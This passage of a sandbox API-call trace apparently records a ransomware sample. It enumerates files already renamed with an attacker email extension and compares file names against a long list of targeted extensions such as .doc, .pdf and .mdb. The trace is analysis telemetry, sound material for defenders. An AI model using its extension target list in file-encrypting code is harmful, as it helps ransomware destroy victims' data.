nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NE83E0~1.COM")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6714b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35b6714b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35d09177, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NE34CD~1.COM")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35548898, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35548898, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35607429, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARAME~1.COM")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b8bf3b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35b8bf3b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35c95c42, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RGB9RA~1.COM")) returned 1 [0242.558] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35cc2f06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35cc2f06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35e8dd86, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RGB9RA~2.COM")) returned 1 [0242.699] lstrlenW (lpString="RGB9Rast_x86.msi.id-B4197730.[bitcharity@protonmail.com].com") returned 60 [0242.699] lstrlenW (lpString=".1cd") returned 4 [0242.699] lstrcmpiW (lpString1=".1cd", lpString2=".com") returned -1 [0242.699] lstrlenW (lpString=".3ds") returned 4 [0242.699] lstrcmpiW (lpString1=".3ds", lpString2=".com") returned -1 [0242.699] lstrlenW (lpString=".3fr") returned 4 [0242.699] lstrcmpiW (lpString1=".3fr", lpString2=".com") returned -1 [0242.699] lstrlenW (lpString=".3g2") returned 4 [0242.699] lstrcmpiW (lpString1=".3g2", lpString2=".com") returned -1 [0242.699] lstrlenW (lpString=".3gp") returned 4 [0242.700] lstrcmpiW (lpString1=".3gp", lpString2=".com") returned -1 [0242.700] lstrlenW (lpString=".7z") returned 3 [0242.700] lstrcmpiW (lpString1=".7z", lpString2="com") returned -1 [0242.700] lstrlenW (lpString=".accda") returned 6 [0242.700] lstrcmpiW (lpString1=".accda", lpString2="m].com") returned -1 [0242.700] lstrlenW (lpString=".accdb") returned 6 [0242.700] lstrcmpiW (lpString1=".accdb", lpString2="m].com") returned -1 [0242.700] lstrlenW (lpString=".accdc") returned 6 [0242.700] lstrcmpiW (lpString1=".accdc", lpString2="m].com") returned -1 [0242.700] lstrlenW (lpString=".accde") returned 6 [0242.700] lstrcmpiW (lpString1=".accde", lpString2="m].com") returned -1 [0242.700] lstrlenW (lpString=".accdt") returned 6 [0242.700] lstrcmpiW (lpString1=".accdt", lpString2="m].com") returned -1 [0242.700] lstrlenW (lpString=".accdw") returned 6 [0242.700] lstrcmpiW (lpString1=".accdw", lpString2="m].com") returned -1 [0242.700] lstrlenW (lpString=".adb") returned 4 [0242.700] lstrcmpiW (lpString1=".adb", lpString2=".com") returned -1 [0242.700] lstrlenW (lpString=".adp") returned 4 [0242.700] lstrcmpiW (lpString1=".adp", lpString2=".com") returned -1 [0242.700] lstrlenW (lpString=".ai") returned 3 [0242.700] lstrcmpiW (lpString1=".ai", lpString2="com") returned -1 [0242.700] lstrlenW (lpString=".ai3") returned 4 [0242.700] lstrcmpiW (lpString1=".ai3", lpString2=".com") returned -1 [0242.700] lstrlenW (lpString=".ai4") returned 4 [0242.700] lstrcmpiW (lpString1=".ai4", lpString2=".com") returned -1 [0242.700] lstrlenW (lpString=".ai5") returned 4 [0242.700] lstrcmpiW (lpString1=".ai5", lpString2=".com") returned -1 [0242.700] lstrlenW (lpString=".ai6") returned 4 [0242.700] lstrcmpiW (lpString1=".ai6", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".ai7") returned 4 [0242.701] lstrcmpiW (lpString1=".ai7", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".ai8") returned 4 [0242.701] lstrcmpiW (lpString1=".ai8", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".anim") returned 5 [0242.701] lstrcmpiW (lpString1=".anim", lpString2="].com") returned -1 [0242.701] lstrlenW (lpString=".arw") returned 4 [0242.701] lstrcmpiW (lpString1=".arw", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".as") returned 3 [0242.701] lstrcmpiW (lpString1=".as", lpString2="com") returned -1 [0242.701] lstrlenW (lpString=".asa") returned 4 [0242.701] lstrcmpiW (lpString1=".asa", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".asc") returned 4 [0242.701] lstrcmpiW (lpString1=".asc", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".ascx") returned 5 [0242.701] lstrcmpiW (lpString1=".ascx", lpString2="].com") returned -1 [0242.701] lstrlenW (lpString=".asm") returned 4 [0242.701] lstrcmpiW (lpString1=".asm", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".asmx") returned 5 [0242.701] lstrcmpiW (lpString1=".asmx", lpString2="].com") returned -1 [0242.701] lstrlenW (lpString=".asp") returned 4 [0242.701] lstrcmpiW (lpString1=".asp", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".aspx") returned 5 [0242.701] lstrcmpiW (lpString1=".aspx", lpString2="].com") returned -1 [0242.701] lstrlenW (lpString=".asr") returned 4 [0242.701] lstrcmpiW (lpString1=".asr", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".asx") returned 4 [0242.701] lstrcmpiW (lpString1=".asx", lpString2=".com") returned -1 [0242.701] lstrlenW (lpString=".avi") returned 4 [0242.702] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".avs") returned 4 [0242.702] lstrcmpiW (lpString1=".avs", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".backup") returned 7 [0242.702] lstrcmpiW (lpString1=".backup", lpString2="om].com") returned -1 [0242.702] lstrlenW (lpString=".bak") returned 4 [0242.702] lstrcmpiW (lpString1=".bak", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".bay") returned 4 [0242.702] lstrcmpiW (lpString1=".bay", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".bd") returned 3 [0242.702] lstrcmpiW (lpString1=".bd", lpString2="com") returned -1 [0242.702] lstrlenW (lpString=".bin") returned 4 [0242.702] lstrcmpiW (lpString1=".bin", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".bmp") returned 4 [0242.702] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".bz2") returned 4 [0242.702] lstrcmpiW (lpString1=".bz2", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".c") returned 2 [0242.702] lstrcmpiW (lpString1=".c", lpString2="om") returned -1 [0242.702] lstrlenW (lpString=".cdr") returned 4 [0242.702] lstrcmpiW (lpString1=".cdr", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".cer") returned 4 [0242.702] lstrcmpiW (lpString1=".cer", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".cf") returned 3 [0242.702] lstrcmpiW (lpString1=".cf", lpString2="com") returned -1 [0242.702] lstrlenW (lpString=".cfc") returned 4 [0242.702] lstrcmpiW (lpString1=".cfc", lpString2=".com") returned -1 [0242.702] lstrlenW (lpString=".cfm") returned 4 [0242.702] lstrcmpiW (lpString1=".cfm", lpString2=".com") returned -1 [0242.703] lstrlenW (lpString=".cfml") returned 5 [0242.703] lstrcmpiW (lpString1=".cfml", lpString2="].com") returned -1 [0242.703] lstrlenW (lpString=".cfu") returned 4 [0242.703] lstrcmpiW (lpString1=".cfu", lpString2=".com") returned -1 [0242.703] lstrlenW (lpString=".chm") returned 4 [0242.703] lstrcmpiW (lpString1=".chm", lpString2=".com") returned -1 [0242.703] lstrlenW (lpString=".cin") returned 4 [0242.703] lstrcmpiW (lpString1=".cin", lpString2=".com") returned -1 [0242.703] lstrlenW (lpString=".class") returned 6 [0242.703] lstrcmpiW (lpString1=".class", lpString2="m].com") returned -1 [0242.703] lstrlenW (lpString=".clx") returned 4 [0242.703] lstrcmpiW (lpString1=".clx", lpString2=".com") returned -1 [0242.703] lstrlenW (lpString=".config") returned 7 [0242.703] lstrcmpiW (lpString1=".config", lpString2="om].com") returned -1 [0242.703] lstrlenW (lpString=".cpp") returned 4 [0242.703] lstrcmpiW (lpString1=".cpp", lpString2=".com") returned 1 [0242.703] lstrlenW (lpString=".cr2") returned 4 [0242.703] lstrcmpiW (lpString1=".cr2", lpString2=".com") returned 1 [0242.703] lstrlenW (lpString=".crt") returned 4 [0242.703] lstrcmpiW (lpString1=".crt", lpString2=".com") returned 1 [0242.703] lstrlenW (lpString=".crw") returned 4 [0242.703] lstrcmpiW (lpString1=".crw", lpString2=".com") returned 1 [0242.703] lstrlenW (lpString=".cs") returned 3 [0242.703] lstrcmpiW (lpString1=".cs", lpString2="com") returned -1 [0242.704] lstrlenW (lpString=".css") returned 4 [0242.704] lstrcmpiW (lpString1=".css", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".csv") returned 4 [0242.704] lstrcmpiW (lpString1=".csv", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".cub") returned 4 [0242.704] lstrcmpiW (lpString1=".cub", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".dae") returned 4 [0242.704] lstrcmpiW (lpString1=".dae", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".dat") returned 4 [0242.704] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".db") returned 3 [0242.704] lstrcmpiW (lpString1=".db", lpString2="com") returned -1 [0242.704] lstrlenW (lpString=".dbf") returned 4 [0242.704] lstrcmpiW (lpString1=".dbf", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".dbx") returned 4 [0242.704] lstrcmpiW (lpString1=".dbx", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".dc3") returned 4 [0242.704] lstrcmpiW (lpString1=".dc3", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".dcm") returned 4 [0242.704] lstrcmpiW (lpString1=".dcm", lpString2=".com") returned 1 [0242.704] lstrlenW (lpString=".dcr") returned 4 [0242.705] lstrcmpiW (lpString1=".dcr", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".der") returned 4 [0242.705] lstrcmpiW (lpString1=".der", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".dib") returned 4 [0242.705] lstrcmpiW (lpString1=".dib", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".dic") returned 4 [0242.705] lstrcmpiW (lpString1=".dic", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".dif") returned 4 [0242.705] lstrcmpiW (lpString1=".dif", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".divx") returned 5 [0242.705] lstrcmpiW (lpString1=".divx", lpString2="].com") returned -1 [0242.705] lstrlenW (lpString=".djvu") returned 5 [0242.705] lstrcmpiW (lpString1=".djvu", lpString2="].com") returned -1 [0242.705] lstrlenW (lpString=".dng") returned 4 [0242.705] lstrcmpiW (lpString1=".dng", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".doc") returned 4 [0242.705] lstrcmpiW (lpString1=".doc", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".docm") returned 5 [0242.705] lstrcmpiW (lpString1=".docm", lpString2="].com") returned -1 [0242.705] lstrlenW (lpString=".docx") returned 5 [0242.705] lstrcmpiW (lpString1=".docx", lpString2="].com") returned -1 [0242.705] lstrlenW (lpString=".dot") returned 4 [0242.705] lstrcmpiW (lpString1=".dot", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".dotm") returned 5 [0242.705] lstrcmpiW (lpString1=".dotm", lpString2="].com") returned -1 [0242.705] lstrlenW (lpString=".dotx") returned 5 [0242.705] lstrcmpiW (lpString1=".dotx", lpString2="].com") returned -1 [0242.705] lstrlenW (lpString=".dpx") returned 4 [0242.705] lstrcmpiW (lpString1=".dpx", lpString2=".com") returned 1 [0242.705] lstrlenW (lpString=".dqy") returned 4 [0242.706] lstrcmpiW (lpString1=".dqy", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".dsn") returned 4 [0242.706] lstrcmpiW (lpString1=".dsn", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".dt") returned 3 [0242.706] lstrcmpiW (lpString1=".dt", lpString2="com") returned -1 [0242.706] lstrlenW (lpString=".dtd") returned 4 [0242.706] lstrcmpiW (lpString1=".dtd", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".dwg") returned 4 [0242.706] lstrcmpiW (lpString1=".dwg", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".dwt") returned 4 [0242.706] lstrcmpiW (lpString1=".dwt", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".dx") returned 3 [0242.706] lstrcmpiW (lpString1=".dx", lpString2="com") returned -1 [0242.706] lstrlenW (lpString=".dxf") returned 4 [0242.706] lstrcmpiW (lpString1=".dxf", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".edml") returned 5 [0242.706] lstrcmpiW (lpString1=".edml", lpString2="].com") returned -1 [0242.706] lstrlenW (lpString=".efd") returned 4 [0242.706] lstrcmpiW (lpString1=".efd", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".elf") returned 4 [0242.706] lstrcmpiW (lpString1=".elf", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".emf") returned 4 [0242.706] lstrcmpiW (lpString1=".emf", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".emz") returned 4 [0242.706] lstrcmpiW (lpString1=".emz", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".epf") returned 4 [0242.706] lstrcmpiW (lpString1=".epf", lpString2=".com") returned 1 [0242.706] lstrlenW (lpString=".eps") returned 4 [0242.706] lstrcmpiW (lpString1=".eps", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".epsf") returned 5 [0242.707] lstrcmpiW (lpString1=".epsf", lpString2="].com") returned -1 [0242.707] lstrlenW (lpString=".epsp") returned 5 [0242.707] lstrcmpiW (lpString1=".epsp", lpString2="].com") returned -1 [0242.707] lstrlenW (lpString=".erf") returned 4 [0242.707] lstrcmpiW (lpString1=".erf", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".exr") returned 4 [0242.707] lstrcmpiW (lpString1=".exr", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".f4v") returned 4 [0242.707] lstrcmpiW (lpString1=".f4v", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".fido") returned 5 [0242.707] lstrcmpiW (lpString1=".fido", lpString2="].com") returned -1 [0242.707] lstrlenW (lpString=".flm") returned 4 [0242.707] lstrcmpiW (lpString1=".flm", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".flv") returned 4 [0242.707] lstrcmpiW (lpString1=".flv", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".frm") returned 4 [0242.707] lstrcmpiW (lpString1=".frm", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".fxg") returned 4 [0242.707] lstrcmpiW (lpString1=".fxg", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".geo") returned 4 [0242.707] lstrcmpiW (lpString1=".geo", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".gif") returned 4 [0242.707] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".grs") returned 4 [0242.707] lstrcmpiW (lpString1=".grs", lpString2=".com") returned 1 [0242.707] lstrlenW (lpString=".gz") returned 3 [0242.707] lstrcmpiW (lpString1=".gz", lpString2="com") returned -1 [0242.707] lstrlenW (lpString=".h") returned 2 [0242.707] lstrcmpiW (lpString1=".h", lpString2="om") returned -1 [0242.708] lstrlenW (lpString=".hdr") returned 4 [0242.708] lstrcmpiW (lpString1=".hdr", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".hpp") returned 4 [0242.708] lstrcmpiW (lpString1=".hpp", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".hta") returned 4 [0242.708] lstrcmpiW (lpString1=".hta", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".htc") returned 4 [0242.708] lstrcmpiW (lpString1=".htc", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".htm") returned 4 [0242.708] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".html") returned 5 [0242.708] lstrcmpiW (lpString1=".html", lpString2="].com") returned -1 [0242.708] lstrlenW (lpString=".icb") returned 4 [0242.708] lstrcmpiW (lpString1=".icb", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".ics") returned 4 [0242.708] lstrcmpiW (lpString1=".ics", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".iff") returned 4 [0242.708] lstrcmpiW (lpString1=".iff", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".inc") returned 4 [0242.708] lstrcmpiW (lpString1=".inc", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".indd") returned 5 [0242.708] lstrcmpiW (lpString1=".indd", lpString2="].com") returned -1 [0242.708] lstrlenW (lpString=".ini") returned 4 [0242.708] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".iqy") returned 4 [0242.708] lstrcmpiW (lpString1=".iqy", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".j2c") returned 4 [0242.708] lstrcmpiW (lpString1=".j2c", lpString2=".com") returned 1 [0242.708] lstrlenW (lpString=".j2k") returned 4 [0242.708] lstrcmpiW (lpString1=".j2k", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".java") returned 5 [0242.709] lstrcmpiW (lpString1=".java", lpString2="].com") returned -1 [0242.709] lstrlenW (lpString=".jp2") returned 4 [0242.709] lstrcmpiW (lpString1=".jp2", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".jpc") returned 4 [0242.709] lstrcmpiW (lpString1=".jpc", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".jpe") returned 4 [0242.709] lstrcmpiW (lpString1=".jpe", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".jpeg") returned 5 [0242.709] lstrcmpiW (lpString1=".jpeg", lpString2="].com") returned -1 [0242.709] lstrlenW (lpString=".jpf") returned 4 [0242.709] lstrcmpiW (lpString1=".jpf", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".jpg") returned 4 [0242.709] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".jpx") returned 4 [0242.709] lstrcmpiW (lpString1=".jpx", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".js") returned 3 [0242.709] lstrcmpiW (lpString1=".js", lpString2="com") returned -1 [0242.709] lstrlenW (lpString=".jsf") returned 4 [0242.709] lstrcmpiW (lpString1=".jsf", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".json") returned 5 [0242.709] lstrcmpiW (lpString1=".json", lpString2="].com") returned -1 [0242.709] lstrlenW (lpString=".jsp") returned 4 [0242.709] lstrcmpiW (lpString1=".jsp", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".kdc") returned 4 [0242.709] lstrcmpiW (lpString1=".kdc", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".kmz") returned 4 [0242.709] lstrcmpiW (lpString1=".kmz", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".kwm") returned 4 [0242.709] lstrcmpiW (lpString1=".kwm", lpString2=".com") returned 1 [0242.709] lstrlenW (lpString=".lasso") returned 6 [0242.709] lstrcmpiW (lpString1=".lasso", lpString2="m].com") returned -1 [0242.710] lstrlenW (lpString=".lbi") returned 4 [0242.710] lstrcmpiW (lpString1=".lbi", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".lgf") returned 4 [0242.710] lstrcmpiW (lpString1=".lgf", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".lgp") returned 4 [0242.710] lstrcmpiW (lpString1=".lgp", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".log") returned 4 [0242.710] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".m1v") returned 4 [0242.710] lstrcmpiW (lpString1=".m1v", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".m4a") returned 4 [0242.710] lstrcmpiW (lpString1=".m4a", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".m4v") returned 4 [0242.710] lstrcmpiW (lpString1=".m4v", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".max") returned 4 [0242.710] lstrcmpiW (lpString1=".max", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".md") returned 3 [0242.710] lstrcmpiW (lpString1=".md", lpString2="com") returned -1 [0242.710] lstrlenW (lpString=".mda") returned 4 [0242.710] lstrcmpiW (lpString1=".mda", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".mdb") returned 4 [0242.710] lstrcmpiW (lpString1=".mdb", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".mde") returned 4 [0242.710] lstrcmpiW (lpString1=".mde", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".mdf") returned 4 [0242.710] lstrcmpiW (lpString1=".mdf", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".mdw") returned 4 [0242.710] lstrcmpiW (lpString1=".mdw", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".mef") returned 4 [0242.710] lstrcmpiW (lpString1=".mef", lpString2=".com") returned 1 [0242.710] lstrlenW (lpString=".mft") returned 4 [0242.711] lstrcmpiW (lpString1=".mft", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mfw") returned 4 [0242.711] lstrcmpiW (lpString1=".mfw", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mht") returned 4 [0242.711] lstrcmpiW (lpString1=".mht", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mhtml") returned 6 [0242.711] lstrcmpiW (lpString1=".mhtml", lpString2="m].com") returned -1 [0242.711] lstrlenW (lpString=".mka") returned 4 [0242.711] lstrcmpiW (lpString1=".mka", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mkidx") returned 6 [0242.711] lstrcmpiW (lpString1=".mkidx", lpString2="m].com") returned -1 [0242.711] lstrlenW (lpString=".mkv") returned 4 [0242.711] lstrcmpiW (lpString1=".mkv", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mos") returned 4 [0242.711] lstrcmpiW (lpString1=".mos", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mov") returned 4 [0242.711] lstrcmpiW (lpString1=".mov", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mp3") returned 4 [0242.711] lstrcmpiW (lpString1=".mp3", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mp4") returned 4 [0242.711] lstrcmpiW (lpString1=".mp4", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mpeg") returned 5 [0242.711] lstrcmpiW (lpString1=".mpeg", lpString2="].com") returned -1 [0242.711] lstrlenW (lpString=".mpg") returned 4 [0242.711] lstrcmpiW (lpString1=".mpg", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mpv") returned 4 [0242.711] lstrcmpiW (lpString1=".mpv", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".mrw") returned 4 [0242.711] lstrcmpiW (lpString1=".mrw", lpString2=".com") returned 1 [0242.711] lstrlenW (lpString=".msg") returned 4 [0242.712] lstrcmpiW (lpString1=".msg", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".mxl") returned 4 [0242.712] lstrcmpiW (lpString1=".mxl", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".myd") returned 4 [0242.712] lstrcmpiW (lpString1=".myd", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".myi") returned 4 [0242.712] lstrcmpiW (lpString1=".myi", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".nef") returned 4 [0242.712] lstrcmpiW (lpString1=".nef", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".nrw") returned 4 [0242.712] lstrcmpiW (lpString1=".nrw", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".obj") returned 4 [0242.712] lstrcmpiW (lpString1=".obj", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".odb") returned 4 [0242.712] lstrcmpiW (lpString1=".odb", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".odc") returned 4 [0242.712] lstrcmpiW (lpString1=".odc", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".odm") returned 4 [0242.712] lstrcmpiW (lpString1=".odm", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".odp") returned 4 [0242.712] lstrcmpiW (lpString1=".odp", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".ods") returned 4 [0242.712] lstrcmpiW (lpString1=".ods", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".oft") returned 4 [0242.712] lstrcmpiW (lpString1=".oft", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".one") returned 4 [0242.712] lstrcmpiW (lpString1=".one", lpString2=".com") returned 1 [0242.712] lstrlenW (lpString=".onepkg") returned 7 [0242.712] lstrcmpiW (lpString1=".onepkg", lpString2="om].com") returned -1 [0242.713] lstrlenW (lpString=".onetoc2") returned 8 [0242.713] lstrcmpiW (lpString1=".onetoc2", lpString2="com].com") returned -1 [0242.713] lstrlenW (lpString=".opt") returned 4 [0242.713] lstrcmpiW (lpString1=".opt", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".oqy") returned 4 [0242.713] lstrcmpiW (lpString1=".oqy", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".orf") returned 4 [0242.713] lstrcmpiW (lpString1=".orf", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".p12") returned 4 [0242.713] lstrcmpiW (lpString1=".p12", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".p7b") returned 4 [0242.713] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".p7c") returned 4 [0242.713] lstrcmpiW (lpString1=".p7c", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pam") returned 4 [0242.713] lstrcmpiW (lpString1=".pam", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pbm") returned 4 [0242.713] lstrcmpiW (lpString1=".pbm", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pct") returned 4 [0242.713] lstrcmpiW (lpString1=".pct", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pcx") returned 4 [0242.713] lstrcmpiW (lpString1=".pcx", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pdd") returned 4 [0242.713] lstrcmpiW (lpString1=".pdd", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pdf") returned 4 [0242.713] lstrcmpiW (lpString1=".pdf", lpString2=".com") returned 1 [0242.713] lstrlenW (lpString=".pdp") returned 4 [0242.713] lstrcmpiW (lpString1=".pdp", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pef") returned 4 [0242.714] lstrcmpiW (lpString1=".pef", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pem") returned 4 [0242.714] lstrcmpiW (lpString1=".pem", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pff") returned 4 [0242.714] lstrcmpiW (lpString1=".pff", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pfm") returned 4 [0242.714] lstrcmpiW (lpString1=".pfm", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pfx") returned 4 [0242.714] lstrcmpiW (lpString1=".pfx", 